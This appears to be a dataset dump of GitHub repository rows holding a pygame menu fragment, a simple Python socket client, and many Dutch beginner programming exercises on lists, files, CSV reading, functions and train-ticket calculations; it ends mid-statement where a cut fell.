menu.blit(gameover_hud, (0,0))\\r\\n\\r\\n game_init__()\\r\\n\\r\\n if keys[pygame.K_x] or J_but1:\\r\\n if menuScores == False:\\r\\n menuScores = True\\r\\n time.sleep(0.2)\\r\\n else:\\r\\n menuScores = False\\r\\n time.sleep(0.2)\\r\\n\\r\\n update_window_menu()\\r\\nimport menu\\r\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978394,"cells":{"repo_name":{"kind":"string","value":"mateusz7812/net.py"},"repo_url":{"kind":"string","value":"https://github.com/mateusz7812/net.py"},"snapshot_id":{"kind":"string","value":"0f69a1acba21f912e58f9255ee2ee3311adc2046"},"revision_id":{"kind":"string","value":"c2b8a276cf640b65b8ad6d1575b0628ae0b7d568"},"directory_id":{"kind":"string","value":"36aecaca6b03f6422b72839490e7ec65afb3ee9a"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2018-12-12T13:36:42.509725","string":"2018-12-12T13:36:42.509725"},"revision_date":{"kind":"timestamp","value":"2018-09-13T11:23:03","string":"2018-09-13T11:23:03"},"committer_date":{"kind":"timestamp","value":"2018-09-13T11:23:03","string":"2018-09-13T11:23:03"},"github_id":{"kind":"number","value":147659006,"string":"147,659,006"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.590624988079071,"alphanum_fraction":0.659375011920929,"avg_line_length":17.882352828979492,"blob_id":"4b600a80731e452ff9e13688d2532b3d5a70fd4e","content_id":"b7374fe72e39297cb9ed84166f206a08bb41309b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":320,"license_type":"no_license","max_line_length":53,"num_lines":17,"path":"/client.py","repo_name":"mateusz7812/net.py","src_encoding":"UTF-8","text":"import socket\nimport sys\nimport time\n\nhost = '192.168.250.104'\nport = 50000\nsize = 1024\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host,port))\nsys.stdout.write('%')\n\nwhile 1:\n line = str(time.ctime(time.time())) + ' '\n s.send(line)\n data = s.recv(size)\n sys.stdout.write(data)\ns.close()"}],"string":"[\n {\n \"alpha_fraction\": 0.590624988079071,\n \"alphanum_fraction\": 0.659375011920929,\n \"avg_line_length\": 17.882352828979492,\n \"blob_id\": \"4b600a80731e452ff9e13688d2532b3d5a70fd4e\",\n \"content_id\": \"b7374fe72e39297cb9ed84166f206a08bb41309b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 320,\n \"license_type\": \"no_license\",\n \"max_line_length\": 53,\n \"num_lines\": 17,\n \"path\": \"/client.py\",\n \"repo_name\": \"mateusz7812/net.py\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import socket\\nimport sys\\nimport time\\n\\nhost = '192.168.250.104'\\nport = 50000\\nsize = 1024\\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\ns.connect((host,port))\\nsys.stdout.write('%')\\n\\nwhile 1:\\n line = str(time.ctime(time.time())) + ' '\\n s.send(line)\\n data = s.recv(size)\\n sys.stdout.write(data)\\ns.close()\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978395,"cells":{"repo_name":{"kind":"string","value":"KristiaanSondaar/Programming2"},"repo_url":{"kind":"string","value":"https://github.com/KristiaanSondaar/Programming2"},"snapshot_id":{"kind":"string","value":"8b7d7fdf2c6c452ace760435f8269b94f0b85cdf"},"revision_id":{"kind":"string","value":"0965d63fc0865b3bf9c36544265c78fd8598ebf7"},"directory_id":{"kind":"string","value":"a5a1663cbdef682e2dfbf62b2d77b0a04f038d6d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-01T17:41:01.424875","string":"2020-04-01T17:41:01.424875"},"revision_date":{"kind":"timestamp","value":"2018-10-17T11:10:21","string":"2018-10-17T11:10:21"},"committer_date":{"kind":"timestamp","value":"2018-10-17T11:10:21","string":"2018-10-17T11:10:21"},"github_id":{"kind":"number","value":153444129,"string":"153,444,129"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5886076092720032,"alphanum_fraction":0.6012658476829529,"avg_line_length":12.25,"blob_id":"10f5f75e5de91c5d07cb504dfbb843ad1e5ea522","content_id":"07742e7838141ec585ce1486f037abfe87df5c9d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":158,"license_type":"no_license","max_line_length":24,"num_lines":12,"path":"/Opdrachten/6.0 Functie met (im)mutable parameter.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"def wijzig(letterlijst):\n lijst.clear()\n lijst.extend(lijst2)\n\n\nlijst = ['a','b','c']\nlijst2 = ['d', 'e', 'f']\n\n\nprint(lijst)\nwijzig(lijst)\nprint(lijst)"},{"alpha_fraction":0.6392694115638733,"alphanum_fraction":0.6666666865348816,"avg_line_length":26.375,"blob_id":"5e260e9a780e443fe75bd8a604c2946f6a57f20a","content_id":"859eba702704b9ac39a316932f4bd0d9d1b72898","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":219,"license_type":"no_license","max_line_length":74,"num_lines":8,"path":"/Opdrachten/2.0 list and strings.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"lijst = eval(input('Geef lijst met minimaal 10 strings: '))\nlijst2 = []\nfor char in lijst:\n if len(char) == 4:\n lijst2.append(char)\n\n\nprint(\"De nieuw-gemaakte lijst met alle vier-letter strings is: \", lijst2)\n"},{"alpha_fraction":0.5053763389587402,"alphanum_fraction":0.5806451439857483,"avg_line_length":13.230769157409668,"blob_id":"9e24f7f81d92bbe829c92c0076aa5242576ec578","content_id":"f3478ae9b47db666906d4a76bdb80f550227f54e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":186,"license_type":"no_license","max_line_length":42,"num_lines":13,"path":"/Opdrachten/1. Formatting.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"def convert(celsius):\n return celsius * 1.8 + 32\n\n\ncelsius = 25\n\nprint(convert(celsius))\n\nprint(' F C')\n\n\nfor i in range(-30,50,10):\n print('{:5}{:5}'.format(convert(i),i))\n\n"},{"alpha_fraction":0.6255000233650208,"alphanum_fraction":0.6284999847412109,"avg_line_length":32.86440658569336,"blob_id":"dc59d3b91fb4276229b36582ea9ef1de33332ab6","content_id":"c4b2939ebb6bfad006e42d9fec447e828997d9df","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2000,"license_type":"no_license","max_line_length":121,"num_lines":59,"path":"/Miniproject programming/miniproject.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"import csv\n\ndef terugomzettenASCII(omgezetteWaarde):\n lijst = list(omgezetteWaarde)\n i = 0\n omgezetteWaarde = []\n for letter in lijst:\n ASCII = ord(lijst[i]) + 3\n CHAR = chr(ASCII)\n omgezetteWaarde.append(CHAR)\n i += 1\n zin = ''.join(omgezetteWaarde)\n return zin\n\ndef omzettenASCII(omzetWaarde):\n lijst = list(omzetWaarde)\n i = 0\n omgezetteWaarde = []\n for letter in lijst:\n ASCII = ord(lijst[i]) - 3\n CHAR = chr(ASCII)\n omgezetteWaarde.append(CHAR)\n i += 1\n zin = ''.join(omgezetteWaarde)\n return zin\n\n\n\n\ndef opslaanRegistratienummer():\n with open('stalling.csv', 'r', newline='') as myCSVFile:\n reader = csv.DictReader(myCSVFile, delimiter=',')\n registratienummer = []\n wachtwoorden = []\n for row in reader:\n omgezet = terugomzettenASCII(row['uhjlvwudwlhqxpphu'])\n wachtwoordOmgezet = terugomzettenASCII(row['t^`eqtlloa'])\n registratienummer.append(omgezet)\n wachtwoorden.append(wachtwoordOmgezet)\n return registratienummer, wachtwoorden\n\ndef ophalen():\n registratienummers, wachtwoorden = opslaanRegistratienummer()\n while True:\n invoerRegistratienummer = input(\"Geef alstublieft uw registratienummer: \")\n if invoerRegistratienummer in registratienummers:\n while True:\n indexRegistratienummer = registratienummers.index(invoerRegistratienummer)\n invoerWachtwoord = input(\"Geef alstublief uw wachtwoord: \")\n if invoerWachtwoord in wachtwoorden[indexRegistratienummer]:\n print(\"U kunt uw fiets nu ophalen! heb een prettige dag!\")\n break\n else:\n print(\"Dit wachtwoord hoord niet bij het registratienummer dat u heeft gegeven, probeer het opnieuw\")\n else:\n print(\"Dit registratienummer is niet in gebruik, probeer het nog een keer!\")\n break\n\nophalen()\n\n\n"},{"alpha_fraction":0.34734514355659485,"alphanum_fraction":0.39712390303611755,"avg_line_length":27.28125,"blob_id":"9ba18a48a2729b5084b1df7116a2f7a5368b8005","content_id":"6084b33b08699410f8d5bfd3be6c49ed5dd5822d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":904,"license_type":"no_license","max_line_length":71,"num_lines":32,"path":"/Opdrachten/7.2 Random.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"from random import *\n\ndef monopolyworp():\n x = randint(1, 6)\n y = randint(1, 6)\n x2 = randint(1, 6)\n y2 = randint(1, 6)\n x3 = randint(1, 6)\n y3 = randint(1, 6)\n rol = x + y\n rol2 = x2 + y2\n rol3 = x3 + y3\n for i in range(0,3):\n if x == y:\n print(x,\"+\", y,\"=\", rol, \"(dubbel)\")\n print(x2,\"+\", y2,\"=\", rol2)\n break\n elif x == y and x2 == y2:\n print(x, \"+\", y, \"=\", rol, \"(dubbel\")\n print(x2, \"+\", y2, \"=\", rol2, \"dubbel\")\n print(x3, \"+\", y3, \"=\", rol3)\n break\n elif x == y and x2 == y2 and x3 == y3:\n print(x, \"+\", y, \"=\", rol, \"(dubbel\")\n print(x2, \"+\", y2, \"=\", rol2, \"(dubbel)\")\n print(x3, \"+\", y3, \"=\", rol3, \"(direct naar de gevangenis\")\n break\n else:\n print(x,\"+\", y,\"=\", rol)\n break\n\nmonopolyworp()"},{"alpha_fraction":0.5283018946647644,"alphanum_fraction":0.5345911979675293,"avg_line_length":21.14285659790039,"blob_id":"535ea4b1b8816bb75f3e291a9af33c935f3aeb54","content_id":"d227d98002f1f31bc143b9744b06aeaa42df47a1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":159,"license_type":"no_license","max_line_length":49,"num_lines":7,"path":"/Opdrachten/7.3 ASCII.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"def code():\n invoerstring = input(\"Geef string: \").strip()\n for c in invoerstring:\n cope = ord(c) + 3\n print(chr(cope),end=\"\")\n\ncode()\n\n\n\n\n"},{"alpha_fraction":0.6122449040412903,"alphanum_fraction":0.6275510191917419,"avg_line_length":19.6842098236084,"blob_id":"e50b4870aa03b9d085b6d480658cbf27f41bea49","content_id":"a5ad7f570ea939348eb4a41bbef80b23ab57860a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":392,"license_type":"no_license","max_line_length":85,"num_lines":19,"path":"/Opdrachten/3. Files lezen.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"file = open(\"kaartnummers\", \"r\")\n\ncount = 0\nmaxNumber = 0\nlineCount = 1\n\nfor lines in file:\n count += 1\n number = int(lines.split(\",\")[0])\n if number > maxNumber:\n maxNumber = number\n maxLine = lineCount\n lineCount += 1\n\nprint('Deze file telt', count, \"regels\")\n\nprint(\"Het grootste kaartnummer is \",maxNumber, \" en dat staat op regel: \",lineCount)\n\nfile.close()"},{"alpha_fraction":0.59375,"alphanum_fraction":0.6116071343421936,"avg_line_length":21.5,"blob_id":"41c193087831655c6ea956e651ee43b10cd2bf07","content_id":"bea566d261d8e5051da773ec1095b280e751b8c5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":224,"license_type":"no_license","max_line_length":69,"num_lines":10,"path":"/Opdrachten/7.1. While-loop & numbers.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"aantalNummers = 0\nsom = 0\nwhile True:\n getal = int(input(\"Geef een getal: \"))\n if getal == 0:\n break\n som += getal\n aantalNummers += 1\n\nprint(\"Er zijn\",aantalNummers, \"nummers ingevoerd, de som is: \", som)"},{"alpha_fraction":0.6132478713989258,"alphanum_fraction":0.6538461446762085,"avg_line_length":29.225807189941406,"blob_id":"0de0061f0f4aac7d6b7346661e047502f727ce32","content_id":"f912510b7b4a3e0c1c50e422070c48c149aaf089","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":936,"license_type":"no_license","max_line_length":65,"num_lines":31,"path":"/Opdrachten/Final assignment NS functies.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"def standaardprijs(afstandKM):\n if afstandKM > 0 and afstandKM <= 50:\n return afstandKM * 0.80\n if afstandKM < 0:\n return afstandKM == 0\n else:\n return (afstandKM * 0.60) + 15\n\n\naftstandKM = int(input('Geef de afstand van uw rit: '))\n\n\ndef ritprijs(leeftijd, weekendrit, afstandKM):\n if weekendrit == 'nee' and leeftijd >= 65 or leeftijd < 12:\n return standaardprijs(aftstandKM) * 0.70\n if weekendrit == 'ja' and leeftijd >= 65 or leeftijd < 12:\n return standaardprijs(aftstandKM) * 0.65\n if weekendrit == 'nee' and (leeftijd < 65 and leeftijd > 12):\n return standaardprijs(aftstandKM)\n if weekendrit == 'ja' and (leeftijd < 65 and leeftijd > 12):\n return standaardprijs(aftstandKM) * 0.60\n\n\nweekendrit = str(input('Rijs je in het weekend? ja of nee: '))\n\nleeftijd = int(input('Geef uw leeftijd: '))\n\n\nprijs = ritprijs(leeftijd, weekendrit, aftstandKM)\n\nprint(prijs)"},{"alpha_fraction":0.5319148898124695,"alphanum_fraction":0.5617021322250366,"avg_line_length":17.153846740722656,"blob_id":"ebf2faa0c78211b6cd775d438e7bdcd7274df1e1","content_id":"9a665e9fd36ab6c134632e7da381233fda43cd3b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":235,"license_type":"no_license","max_line_length":68,"num_lines":13,"path":"/Opdrachten/2. files inlezen.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"infile = open(\"kaartnummers\", \"r\")\n\n\n\nfor line in infile:\n info = line.split(\",\")\n nummer = info[0]\n naam = info[1]\n print(naam, end=' ')\n print(('{:5}{0:5}{0:5}'.format(nummer),(\"heeft kaartnummer: \")))\n\n\ninfile.close()"},{"alpha_fraction":0.6288659572601318,"alphanum_fraction":0.6288659572601318,"avg_line_length":18.299999237060547,"blob_id":"540d0c14979eb146468d1362afac5d9f7281674f","content_id":"62f55da85c49b945735c44d9d51c3a8cfbd4e8cc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":194,"license_type":"no_license","max_line_length":46,"num_lines":10,"path":"/Opdrachten/5. string functions.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"woorden = []\n\ndef gemiddelde():\n zin = input(\"Geef een willekeurige zin: \")\n woorden = zin.split()\n for lengte in woorden:\n print(len(lengte))\n\ngemiddelde()\nprint(gemiddelde())\n\n"},{"alpha_fraction":0.7010050415992737,"alphanum_fraction":0.7035176157951355,"avg_line_length":27.071428298950195,"blob_id":"bf8414ce5689a5dc983f3d55b899ecf6b7a24858","content_id":"576017b01397b7b311cfa7e470ea63e6d2ad1d88","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":398,"license_type":"no_license","max_line_length":60,"num_lines":14,"path":"/Opdrachten/4.0 functie met If.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"def new_password(newpassword,oldpassword):\n if len(newpassword) >= 6 and newpassword != oldpassword:\n return\n\n\noldpassword = str(input('Geef oude wachtwoord: '))\nnewpassword = str(input('Geef nieuwe wachtwoord: '))\n\nisCorrect = new_password(newpassword,oldpassword)\n\nif isCorrect == True:\n print('Het is gelukt!')\nelse:\n print('Het password is hetzelfde of niet lang genoeg.')\n\n\n\n\n\n"},{"alpha_fraction":0.6798029541969299,"alphanum_fraction":0.6896551847457886,"avg_line_length":17.454545974731445,"blob_id":"b1ba6c813a0e78433740b1ef397e38201dea59c4","content_id":"2dec7aa435df792ddee72a13a8113317add8bbc6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":203,"license_type":"no_license","max_line_length":44,"num_lines":11,"path":"/Opdrachten/2. Functie met list-parameter.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"def som(getallenLijst):\n return sum(getallenLijst)\n\ngetallenLijst = []\n\n\nfor i in range(0,5):\n nummers = int((input('Geef nummers: ')))\n getallenLijst.append(nummers)\n\nprint(som(getallenLijst))\n"},{"alpha_fraction":0.42763158679008484,"alphanum_fraction":0.5,"avg_line_length":20.571428298950195,"blob_id":"acae88acf29f15fb961a4ddd74fe4ba12b52afc6","content_id":"00ea30af9190a0ae2c049b70791b83d49e8c85af","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":152,"license_type":"no_license","max_line_length":87,"num_lines":7,"path":"/Opdrachten/7.3. Dict.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"dict = {\"Jan\": 9,\"Piet\" : 8, \"Kees\":9,\"Larry\":6,\"John\":10,\"Bert\":7,\"Gijs\":9,\"Frans\":10}\n\n\n\nfor i in dict:\n if dict[i] > 8:\n print(dict[i],i)\n\n"},{"alpha_fraction":0.4751552939414978,"alphanum_fraction":0.5093167424201965,"avg_line_length":19.1875,"blob_id":"ba8d57ba23475cdbd68ba03e4c6722f5b4339ab1","content_id":"78cd8b399e8337f177f5866a19ba6870c02c0387","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":322,"license_type":"no_license","max_line_length":41,"num_lines":16,"path":"/Opdrachten/6.1 Decision Control.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"maand = int(input('Geef maand nummer: '))\n\n\ndef seizoen(maand):\n if (maand in (3 , 4 , 5)):\n season = ('Lente')\n elif (maand in (6, 7, 8)):\n season = ('Zomer')\n elif (maand in (9, 10, 11)):\n season = ('Herfst')\n else:\n season = ('Winter')\n return season\n\n\nprint(seizoen(maand))"},{"alpha_fraction":0.640816330909729,"alphanum_fraction":0.6897959113121033,"avg_line_length":26.33333396911621,"blob_id":"c0cf509573984c2f39857696c917d26bda2a616e","content_id":"0239dd1d8df8943cf331fa0edad8410b96a9830b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":245,"license_type":"no_license","max_line_length":47,"num_lines":9,"path":"/Opdrachten/1. Functie met drie parameters.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"def som(getal1,getal2,getal3):\n return getal1 + getal2 + getal3\n\n\ngetal1 = int(input('Geef het eerste getal: '))\ngetal2 = int(input('Geef het tweede getal: '))\ngetal3 = int(input('Geef het derde getal: '))\n\nprint(som(getal1,getal2,getal3))"},{"alpha_fraction":0.5817694664001465,"alphanum_fraction":0.6085790991783142,"avg_line_length":23.928571701049805,"blob_id":"24f446a52ee6a21c75f1e12e7ab73b55e51ff015","content_id":"4c14e457b04f0227b525fa0f890854c0246e71d9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":373,"license_type":"no_license","max_line_length":62,"num_lines":14,"path":"/Opdrachten/8.1. Catching exceptions.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"\n\ntry:\n aantal = 0\n hotel = 4356\n kosten = 4356 / aantal\n if aantal < 0:\n print(\"Negatieve getallen zijn niet toegestaan!\")\n else:\n print(kosten)\nexcept TypeError:\n print(\"Gebruik cijfers voor het invoeren van het aantal!\")\nexcept ZeroDivisionError:\n print(\"Delen door nul kan niet!\")\nexcept:\n \"Onjuiste invoer!\"\n\n\n \n \n \n \n"},{"alpha_fraction":0.6171875,"alphanum_fraction":0.671875,"avg_line_length":31.08333396911621,"blob_id":"b1fe62fb24e2ec31a1b6471bdb3624e96eea03d4","content_id":"18c1084def39b9a1ff80ddaa69c155435cef13ee","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":384,"license_type":"no_license","max_line_length":81,"num_lines":12,"path":"/Opdrachten/3. Lists & numbers.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"invoer = \"5-9-7-1-7-8-3-2-4-8-7-9\"\n\nlijst = invoer.split(\"-\")\n\nlijst2 = list(map(int, lijst))\nlijst2.sort()\ngemiddelde = sum(lijst2) / len(lijst2)\n\nprint(\"Gesorteerde list van ints: \", lijst2)\nprint(\"Grootste getal: \", max(lijst2), \" en kleinste getal: \", min(lijst2))\nprint(\"aanstal getallen: \", len(lijst2), \"en Som van de getallen: \", sum(lijst2))\nprint(\"Gemiddelde: \", gemiddelde)"},{"alpha_fraction":0.6035714149475098,"alphanum_fraction":0.6499999761581421,"avg_line_length":30.11111068725586,"blob_id":"e6885434e228e4e70c10842c70bb54f74ac29c6c","content_id":"96af46d4e9207ba4948a19f4f3c15f94e4bfebb9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":280,"license_type":"no_license","max_line_length":118,"num_lines":9,"path":"/Opdrachten/1.1 Getallen, strings and conversions.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"cijferICOR = 7\ncijferPROG = 7\ncijferCSN = 7\n\ngemiddelde = (cijferICOR + cijferPROG + cijferCSN) / 3\nbeloning = (7 * 30) + (7 * 30) + (7 * 30)\noverzicht = \"Mijn cijfers (gemiddeld een \" + str(gemiddelde) + \") leveren een beloning van $\" + str(beloning) + \" op!\"\n\nprint (overzicht)\n"},{"alpha_fraction":0.52173912525177,"alphanum_fraction":0.5362318754196167,"avg_line_length":19.352941513061523,"blob_id":"d9c41a252c56aac4c492994339e1bd1fd9e7bb29","content_id":"51d49cd889baa6bcd9fa8cd8f865001f65bc8bbf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":345,"license_type":"no_license","max_line_length":69,"num_lines":17,"path":"/Opdrachten/8.3. CSV-files lezen.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"import csv\n\n\nmax = 0\nnaam = \"\"\ndatum = \"\"\nwith open('gamers.csv', 'r') as gamersFile:\n reader = csv.reader(gamersFile, delimiter=';')\n for row in reader:\n if int(row[2]) > max:\n naam = row[0]\n datum = row[1]\n max = int(row[2])\n\n\n\nprint(\"De hoogste score is:\", max, \"op\", datum, \"behaald door\", naam)"},{"alpha_fraction":0.6860264539718628,"alphanum_fraction":0.6877515912055969,"avg_line_length":39.44186019897461,"blob_id":"d80e6f954a2f9d900d80ae5a5c2d4cda71becf2a","content_id":"553b187144ab14521241274e5f6646ac0d1ca759","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1741,"license_type":"no_license","max_line_length":100,"num_lines":43,"path":"/Opdrachten/Final Assignment NS-kaartautomaat.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"stations = [\"Schagen\", \"Heerhugowaard\", \"Alkmaar\", \"Castricum\", \"Zaandam\",\n \"Amsterdam\" \"Sloterdijk\", \"Amsterdam Centraal\", \"Amsterdam Amstel\", \"Utrecht Centraal\",\n \"’s-Hertogenbosch\", \"Eindhoven\", \"Weert\", \"Roermond\", \"Sittard\", \"Maastricht\"]\n\n\ndef inlezen_beginstation(stations):\n while True:\n beginstation = input(\"Wat is je beginstation?: \")\n if beginstation in stations:\n break\n return beginstation\n\ndef inlezen_eindstation(stations, beginstation):\n while True:\n eindstation = input(\"Wat is je eindstation?: \")\n eindIndex = stations.index(eindstation)\n beginIndex = stations.index(beginstation)\n if eindstation in stations and eindIndex > beginIndex:\n break\n else:\n print(\"Dit station ligt niet op de route\")\n return eindstation\n\n\ndef omroepen_reis(stations, beginstation, eindstation):\n beginRangnummer = stations.index(beginstation) + 1\n eindRangnummer = stations.index(eindstation) + 1\n print(\"Het beginstation\", beginstation, \"is het\", beginRangnummer,\"e station in het traject.\", )\n print(\"Het eindstation\", eindstation,\"is het\", eindRangnummer, \"e station in het traject.\")\n print(\"De afstand bedraagt\",eindRangnummer - beginRangnummer ,\"station(s).\")\n print(\"De prijs van het kaartje is\",(eindRangnummer - beginRangnummer)*5,\"euro.\\n\")\n print(\"Jij stapt in de trein in:\", beginstation,)\n for x in stations[beginRangnummer:stations.index(eindstation)]:\n print(\"-\",x)\n print(\"Jij stapt uit in:\", eindstation)\n return\n\n\n\n\nbeginstation = inlezen_beginstation(stations)\neindstation = inlezen_eindstation(stations, beginstation)\nomroepen_reis(stations, beginstation, eindstation)\n"},{"alpha_fraction":0.6487804651260376,"alphanum_fraction":0.6487804651260376,"avg_line_length":33,"blob_id":"0b12975d4bc3aba1f219708d7f4c2e6626beb81b","content_id":"fea5eca302deacbe6c26e70e6e6f019da46d52ca","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":205,"license_type":"no_license","max_line_length":86,"num_lines":6,"path":"/Opdrachten/1.3. input output.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"uurloon = float(input('Wat verdien je per uur: '))\naantalUur = int(input(\"Hoeveel uur heb je gewerkt: \"))\n\nx = str(aantalUur) + (\" uur werken levert \") + str(uurloon * aantalUur) + (\" euro op\")\n\nprint(x)\n\n"},{"alpha_fraction":0.6549295783042908,"alphanum_fraction":0.672535240650177,"avg_line_length":19.071428298950195,"blob_id":"9b8377aabd81b06fe84c2f4905328989864e9fe6","content_id":"5e2689b98869968111a3ca8b41ce3a47629e06a6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":284,"license_type":"no_license","max_line_length":44,"num_lines":14,"path":"/Opdrachten/5.0 Functie met list-parameter en for-loop.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"def kwadraten_som(grondgetallen):\n return sum(grondgetallen)\n\n\ngrondgetallen = []\n\nfor even in range(0, 5):\n nummers = int((input('Geef nummers: ')))\n if nummers % 2 == 0:\n grondgetallen.append(nummers**2)\n\n\nprint(grondgetallen)\nprint(kwadraten_som(grondgetallen))\n\n\n\n"},{"alpha_fraction":0.47699758410453796,"alphanum_fraction":0.48426151275634766,"avg_line_length":23.352941513061523,"blob_id":"457bd9289422a3c3c86dacf09b429423f604a130","content_id":"5c29d10bce91e2d352a7d006313d822960e31468","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":413,"license_type":"no_license","max_line_length":63,"num_lines":17,"path":"/Opdrachten/7.5. Dict & functions.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"dict = {}\ndef namen():\n while True:\n deNamen = input(\"Volgende naam: \")\n if deNamen == \"\":\n break\n elif deNamen not in dict:\n dict[deNamen] = 1\n else:\n dict[deNamen] += 1\nnamen()\n\nfor x in dict:\n if dict[x] == 1:\n print(\"Er is \", dict[x], \"student met de naam \", x)\n else:\n print(\"Er zijn \", dict[x], \"studenten met de naam \", x)"},{"alpha_fraction":0.5963302850723267,"alphanum_fraction":0.6100917458534241,"avg_line_length":26,"blob_id":"ecde604a5b2daec95a2bca598c0cb189a2e3d686","content_id":"6140ff3e50fd27a1134342c189d10b5e88da16c9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":218,"license_type":"no_license","max_line_length":55,"num_lines":8,"path":"/Opdrachten/3.0 functie met if.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"def lang_genoeg(lengte):\n if lengte >= str('120'):\n print('Je bent lang genoeg voor de attractie!')\n else:\n print('Sorry, je bent te klein')\n\n\ngeefLengte = lang_genoeg (input('Geef je lengte: '))\n\n\n"},{"alpha_fraction":0.6544502377510071,"alphanum_fraction":0.6596858501434326,"avg_line_length":32.260868072509766,"blob_id":"eff0e8509693093d1203b1ea4a3516fe9a69db51","content_id":"9a81d056487353d264ad91aa25920a2e7e679abd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":764,"license_type":"no_license","max_line_length":102,"num_lines":23,"path":"/Opdrachten/8.4. CSV-files met headers.py","repo_name":"KristiaanSondaar/Programming2","src_encoding":"UTF-8","text":"import csv\n\n\nartikelPrijs = 0\nartikelNaam = ''\nvoorraad = 0\nproductnummer = 0\ntotalVoorraad = 0\nwith open('producten.csv','r') as productenFile:\n reader = csv.DictReader(productenFile, delimiter=';')\n for row in reader:\n totalVoorraad += int(row['voorraad'])\n if float(row['prijs']) > float(artikelPrijs):\n artikelPrijs = row['prijs']\n artikelNaam = row['naam']\n elif int(voorraad) < int(row['voorraad']):\n voorraad = int(voorraad) + int(row['voorraad'])\n productnummer = row['artikelnummer']\n\n\nprint(\"Het duurste artikel is\", artikelNaam, 'en die kost', artikelPrijs)\nprint(\"Er zijn slechts\", voorraad, \"exemplaren in voorraad van het product met nummer\", 